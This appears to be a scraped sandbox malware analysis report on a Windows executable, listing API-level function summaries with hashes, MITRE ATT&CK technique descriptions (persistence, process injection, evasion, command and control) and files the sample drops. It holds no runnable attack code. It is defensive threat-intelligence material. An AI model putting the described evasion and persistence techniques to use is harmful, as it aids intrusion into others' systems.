Opcode Fuzzy Hash: 9d438e6b5940c4dfeb703fc487ee7d8779a96f3a357671301b43fd1e281e0956
Instruction Fuzzy Hash: 2221A171A44208AEEF01AFB0C98AEAD7B75EF45308F10413AF602B61D1D6B8A941DB19

Function 00405DB5 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 45registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?,00000002,Call,?,00406028,80000002,Software\Microsoft\Windows\CurrentVersion,?,Call,?), ref: 00405DDF
RegQueryValueExW.ADVAPI32(?,?,00000000,?,?,?,?,00406028,80000002,Software\Microsoft\Windows\CurrentVersion,?,Call,?), ref: 00405E00
RegCloseKey.ADVAPI32(?,?,00406028,80000002,Software\Microsoft\Windows\CurrentVersion,?,Call,?), ref: 00405E23

Strings

Call, xrefs: 00405DB8

Memory Dump Source

Source File: 00000000.00000002.2454331246.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2454302020.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454387384.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454635066.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_WEAREX_IHRACAT.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: Call
API String ID: 3677997916-1824292864
Opcode ID: 6d49e1ec12a7b24cc87819d5cf70687d25a5c21dfc25d1df192b84af38ef9460
Instruction ID: afa83f24152e7e9ce060601fd796842ff4531c7984e311905aa048a3366a239a
Opcode Fuzzy Hash: 6d49e1ec12a7b24cc87819d5cf70687d25a5c21dfc25d1df192b84af38ef9460
Instruction Fuzzy Hash: DC011A3115020AEADB218F56ED09EEB3BA8EF85354F00403AF945D6260D335DA64DBF9

Function 00405933 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,00403342,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,752C3420,00403510), ref: 00405939
CharPrevW.USER32(?,00000000,?,C:\Users\user\AppData\Local\Temp\,00403342,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,752C3420,00403510), ref: 00405943
lstrcatW.KERNEL32(?,00409014), ref: 00405955

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405933

Memory Dump Source

Source File: 00000000.00000002.2454331246.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2454302020.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454387384.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454635066.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_WEAREX_IHRACAT.jbxd

Similarity

API ID: CharPrevlstrcatlstrlen
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 2659869361-3355392842
Opcode ID: ff6b15c2f5550a5b1ad39c2dabef59c5d9ab40b11c2ea079a8f7966cac1aab2f
Instruction ID: 44c8f02d27920c7d59b6ae10536407caccd7e36c496fb0f87730dad2d93a7b21
Opcode Fuzzy Hash: ff6b15c2f5550a5b1ad39c2dabef59c5d9ab40b11c2ea079a8f7966cac1aab2f
Instruction Fuzzy Hash: FFD05261101920AAC222AB488C04D9B67ACEE86301340002AF201B20A2CB7C2E428BFE

Function 00401F08 Relevance: 6.1, APIs: 4, Instructions: 55memoryCOMMON

Download Yara Rule

APIs

GetFileVersionInfoSizeW.VERSION(00000000,?,000000EE), ref: 00401F17
GlobalAlloc.KERNEL32(00000040,00000000,00000000,?,000000EE), ref: 00401F39
GetFileVersionInfoW.VERSION(?,?,00000000,00000000), ref: 00401F50
VerQueryValueW.VERSION(?,00409014,?,?,?,?,00000000,00000000), ref: 00401F69

Part of subcall function 00405E2F: wsprintfW.USER32 ref: 00405E3C

Memory Dump Source

Source File: 00000000.00000002.2454331246.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2454302020.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454387384.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454635066.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_WEAREX_IHRACAT.jbxd

Similarity

API ID: FileInfoVersion$AllocGlobalQuerySizeValuewsprintf
String ID:
API String ID: 1404258612-0
Opcode ID: ca7f9e254c0363c1f49dfe126ad383ac947da7ba503cf0d7429683875ede6684
Instruction ID: 69d4cfede9788cc5a39dfd4732502e81c1ba8e36930914c0ac138746a00c9a3b
Opcode Fuzzy Hash: ca7f9e254c0363c1f49dfe126ad383ac947da7ba503cf0d7429683875ede6684
Instruction Fuzzy Hash: 27114875A00108BEDB00EFA5D945DAEBBBAEF04344F21407AF501F62E1E7349E50CB68

Function 00405106 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 00405135
CallWindowProcW.USER32(?,?,?,?), ref: 00405186

Part of subcall function 00404179: SendMessageW.USER32(?,00000000,00000000,00000000), ref: 0040418B

Strings

, xrefs: 00405116

Memory Dump Source

Source File: 00000000.00000002.2454331246.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2454302020.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454387384.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454635066.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_WEAREX_IHRACAT.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: ffbbbef4bb215af9c79ac16ecb942473111b8a896db240ad95dfeee9b4123394
Instruction ID: a693931b294d40b9fc88652aed0c21abafbc2ac9e0ef9b0e0ec3bcc5ba2f922e
Opcode Fuzzy Hash: ffbbbef4bb215af9c79ac16ecb942473111b8a896db240ad95dfeee9b4123394
Instruction Fuzzy Hash: B2019E71A00609FFDB215F51DD84F6B3726EB84350F508136FA007A2E1C37A8C929F6A

Function 0040381D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,00000000,752C2EE0,004037F4,752C3420,0040361F,?), ref: 00403837
GlobalFree.KERNEL32(?), ref: 0040383E

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 0040382F

Memory Dump Source

Source File: 00000000.00000002.2454331246.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2454302020.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454387384.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454635066.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_WEAREX_IHRACAT.jbxd

Similarity

API ID: Free$GlobalLibrary
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 1100898210-3355392842
Opcode ID: 25d95e5d869358f2c737a5aedab69329feae714e5110f3e95756ca8a51977f9e
Instruction ID: 46cd0999c48b818ae3c50a5e697a2c548effd71f48cd6e5996984714d7197a8e
Opcode Fuzzy Hash: 25d95e5d869358f2c737a5aedab69329feae714e5110f3e95756ca8a51977f9e
Instruction Fuzzy Hash: 01E0C23390503057C7316F14ED05B1ABBE86F89B22F014076F9417B7A183746C528BED

Function 0040597F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(80000000,C:\Users\user\Desktop,00402E26,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\WEAREX_IHRACAT.exe,C:\Users\user\Desktop\WEAREX_IHRACAT.exe,80000000,00000003), ref: 00405985
CharPrevW.USER32(80000000,00000000,80000000,C:\Users\user\Desktop,00402E26,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\WEAREX_IHRACAT.exe,C:\Users\user\Desktop\WEAREX_IHRACAT.exe,80000000,00000003), ref: 00405995

Strings

C:\Users\user\Desktop, xrefs: 0040597F

Memory Dump Source

Source File: 00000000.00000002.2454331246.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2454302020.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454387384.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454635066.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_WEAREX_IHRACAT.jbxd

Similarity

API ID: CharPrevlstrlen
String ID: C:\Users\user\Desktop
API String ID: 2709904686-3370423016
Opcode ID: 5322967536e1a0efddda02766e650d0d94df305eef9f06c9ed47c97fde570a53
Instruction ID: 052b7d625f743090f45407db0d4342bedadcdb208645d65a5e8033f28458e035
Opcode Fuzzy Hash: 5322967536e1a0efddda02766e650d0d94df305eef9f06c9ed47c97fde570a53
Instruction Fuzzy Hash: 4DD05EB2400A20DAD3226B08DC009AFB3ACEF113107464466F841A21A5D7786D818BE9

Function 100010E1 Relevance: 5.1, APIs: 4, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 10001243: lstrcpyW.KERNEL32(00000000,?,?,?,10001534,?,10001020,10001019,00000001), ref: 10001260
Part of subcall function 10001243: GlobalFree.KERNEL32 ref: 10001271

GlobalAlloc.KERNEL32(00000040,?), ref: 1000116A
GlobalFree.KERNEL32(00000000), ref: 100011C7
GlobalFree.KERNEL32(00000000), ref: 100011D9
GlobalFree.KERNEL32(?), ref: 10001203

Memory Dump Source

Source File: 00000000.00000002.2459321793.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2459293214.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2459349894.0000000010003000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2459378881.0000000010005000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_WEAREX_IHRACAT.jbxd

Similarity

API ID: Global$Free$Alloclstrcpy
String ID:
API String ID: 852173138-0
Opcode ID: 45a5d3319c716c3518dc5b77d0b954dd710989e410c13165b505e15e89ce8376
Instruction ID: c8ae98bcc35e74d2b72c58860f7bdf59a74f39180ec1ffd54fa0f92d9f30571b
Opcode Fuzzy Hash: 45a5d3319c716c3518dc5b77d0b954dd710989e410c13165b505e15e89ce8376
Instruction Fuzzy Hash: 5E3190F6904211AFF314CF64DC859EA77E8EB853D0B124529FB41E726CEB34E8018765

Function 00405AB9 Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405CF3,00000000,[Rename],00000000,00000000,00000000), ref: 00405AC9
lstrcmpiA.KERNEL32(00405CF3,00000000), ref: 00405AE1
CharNextA.USER32(00405CF3,?,00000000,00405CF3,00000000,[Rename],00000000,00000000,00000000), ref: 00405AF2
lstrlenA.KERNEL32(00405CF3,?,00000000,00405CF3,00000000,[Rename],00000000,00000000,00000000), ref: 00405AFB

Memory Dump Source

Source File: 00000000.00000002.2454331246.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2454302020.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454387384.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454635066.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_WEAREX_IHRACAT.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: f0f41473c1062d639537f97a351ef6b232bfd88747b8e1d85754dbc4161d6f9d
Instruction ID: 0e21c6ccf38cfde73736f548742f9065f02c2b70c8696d75456ee166b8786c13
Opcode Fuzzy Hash: f0f41473c1062d639537f97a351ef6b232bfd88747b8e1d85754dbc4161d6f9d
Instruction Fuzzy Hash: 59F0C231604458AFCB12DBA4CD4099FBBA8EF06250B2140A6F801F7210D274FE019BA9

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report WEAREX_IHRACAT.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\Pregnancy\Caterva.exe

C:\Users\user\AppData\Local\Temp\nseB6DC.tmp\System.dll

C:\Users\user\AppData\Local\Temp\nsrB208.tmp

C:\Users\user\gangningerne\jot\mtn\Discomplexion\Modulsystemernes.Tie

C:\Users\user\gangningerne\jot\mtn\Discomplexion\Sengeheste.txt

C:\Users\user\gangningerne\jot\mtn\Discomplexion\Soldede.Phy

C:\Users\user\gangningerne\jot\mtn\Discomplexion\hulen.urh

C:\Users\user\gangningerne\jot\mtn\Discomplexion\isvintrene.gaf

C:\Users\user\gangningerne\jot\mtn\Discomplexion\rustling.avi

C:\Windows\Fonts\logorrheic.ini

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Windows Analysis Report
WEAREX_IHRACAT.exe

Function 00403358 Relevance: 75.6, APIs: 27, Strings: 16, Instructions: 335
stringfilecomCOMMON

Function 00405F0A Relevance: 19.5, APIs: 8, Strings: 3, Instructions: 207
stringCOMMON

Function 00405770 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 148
filestringCOMMON

Function 004038B2 Relevance: 49.2, APIs: 15, Strings: 13, Instructions: 216
stringregistrylibraryCOMMON

Function 00402DBA Relevance: 26.5, APIs: 5, Strings: 10, Instructions: 203
memoryCOMMON

Function 00401752 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 145
stringtimeCOMMON

Function 00402571 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 142
fileCOMMON

Function 0040317B Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 108
fileCOMMON

Function 0040232F Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 71
registrystringCOMMON

Function 004015B9 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 57
COMMON

Function 00402B78 Relevance: 7.6, APIs: 5, Instructions: 67
registryCOMMON

Function 10001771 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 118
COMMON

Function 00403060 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 95
fileCOMMON

Function 00405B83 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 37
COMMON

Function 00401E51 Relevance: 6.1, APIs: 4, Instructions: 52
synchronizationCOMMON